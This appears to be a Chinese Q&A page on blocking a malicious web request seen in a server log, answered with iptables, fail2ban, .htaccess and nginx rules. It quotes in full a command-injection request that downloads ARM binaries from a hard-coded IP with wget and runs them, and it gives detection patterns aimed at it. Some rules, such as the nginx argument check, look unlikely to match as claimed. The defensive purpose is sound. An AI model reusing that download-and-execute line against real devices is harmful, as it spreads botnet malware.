赞
踩
如何阻止以下访问:
“GET /shell?cd+/tmp;rm+arm+arm7;nohup+wget+http://147.78.103.44/arm7;chmod+777+arm7;./arm7+jaws;nohup+wget+http://147.78.103.44/arm5;chmod+777+arm5;./arm5+jaws;nohup+wget+http://147.78.103.44/arm;chmod+777+arm;./arm+jaws HTTP/1.1” 200 565
为了阻止类似的恶意访问请求,您可以使用多种方法来增强您的Linux服务器的安全性。以下是一些常见的策略和具体的步骤:
iptables
阻止特定请求使用 iptables
过滤掉特定的URL请求。您可以添加一个规则来阻止包含 /shell?cd+
的请求。
sudo iptables -A INPUT -p tcp --dport 80 -m string --string "/shell?cd+" --algo bm -j DROP
这条规则会阻止所有包含特定字符串的HTTP请求。
fail2ban
fail2ban
是一个监控日志并自动阻止可疑IP地址的工具。您可以配置它来监控Apache或Nginx日志,检测到恶意请求时动态添加黑名单。
安装 fail2ban
:
sudo apt-get install fail2ban
配置 fail2ban
:
创建或编辑 /etc/fail2ban/jail.local
文件,添加以下内容:
[apache-dos]
enabled = true
port = http,https
filter = apache-dos
logpath = /var/log/apache2/access.log
maxretry = 1
bantime = 3600
创建过滤器:
在 /etc/fail2ban/filter.d/apache-dos.conf
中添加以下内容:
[Definition]
failregex = ^.*GET.*\?cd+\s.*$
ignoreregex =
重启 fail2ban
:
sudo systemctl restart fail2ban
使用 .htaccess
进行限制:
在您的网站根目录下创建或编辑 .htaccess
文件,添加以下内容:
RewriteEngine On
RewriteCond %{QUERY_STRING} cd\+ [NC]
RewriteRule ^.* - [F]
这将阻止任何包含 cd+
的查询字符串的请求。
限制访问:
您还可以限制特定的用户代理或IP地址:
<RequireAll>
Require all granted
Require not ip 147.78.103.44
</RequireAll>
配置 Nginx 拒绝请求:
在您的 nginx 配置文件中(例如 /etc/nginx/sites-available/default
),添加以下内容:
location / {
if ($arg_cd) {
return 403;
}
}
这将阻止任何包含 cd
参数的请求。
重启 Nginx:
sudo systemctl restart nginx
通过以上措施,您可以有效地阻止恶意请求,并提高您Linux服务器的安全性。确保定期审查和更新安全策略,以应对新的威胁。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。